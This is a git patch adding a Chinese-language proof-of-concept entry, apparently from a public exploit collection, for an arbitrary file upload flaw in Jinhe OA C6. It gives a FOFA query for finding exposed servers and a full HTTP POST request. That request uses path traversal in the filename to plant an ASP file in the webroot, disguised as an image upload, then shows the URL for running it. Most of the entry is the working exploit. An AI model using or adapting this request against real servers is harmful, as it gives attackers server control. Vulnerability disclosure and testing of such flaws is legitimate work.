From b3cb3e8132ec8595f83709334eda9cf39d4877ad Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sun, 14 Jan 2024 19:59:12 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E9=87=91=E5=92=8COA=5Fuploadfileedito?= =?UTF-8?q?rsave=E6=8E=A5=E5=8F=A3=E5=AD=98=E5=9C=A8=E4=BB=BB=E6=84=8F?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...12\344\274\240\346\274\217\346\264\236.md" | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 "\351\207\221\345\222\214OA_uploadfileeditorsave\346\216\245\345\217\243\345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" diff --git "a/\351\207\221\345\222\214OA_uploadfileeditorsave\346\216\245\345\217\243\345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" "b/\351\207\221\345\222\214OA_uploadfileeditorsave\346\216\245\345\217\243\345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" new file mode 100644 index 0000000..2c43d94 --- /dev/null +++ "b/\351\207\221\345\222\214OA_uploadfileeditorsave\346\216\245\345\217\243\345\255\230\345\234\250\344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" @@ -0,0 +1,32 @@ +## 金和OA_uploadfileeditorsave接口存在任意文件上传漏洞 + +金和-c6 uploadfileeditorsave 任意文件上传,攻击者可通过此漏洞获取服务器权限 + +## fofa +``` +app="金和网络-金和OA" +``` + +## poc +``` +POST /C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\qps4cckjuz.asp HTTP/1.1 +Host: your_ip +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 +Connection: close +Content-Length: 191 +Content-Type: multipart/form-data; boundary=----9fh1lo9qobtszaiahg6v +Accept-Encoding: gzip, deflate + +------9fh1lo9qobtszaiahg6v +Content-Disposition: form-data; name="file"; filename="qps4cckjuz.jpg" +Content-Type: image/png + +<% response.write(111*111) +%> + +------9fh1lo9qobtszaiahg6v-- +``` +![image](https://github.com/wy876/POC/assets/139549762/5bb65609-982b-4ebb-9242-3da526eee36b) + +访问上传文件路径: +http://your_ip/C6/qps4cckjuz.asp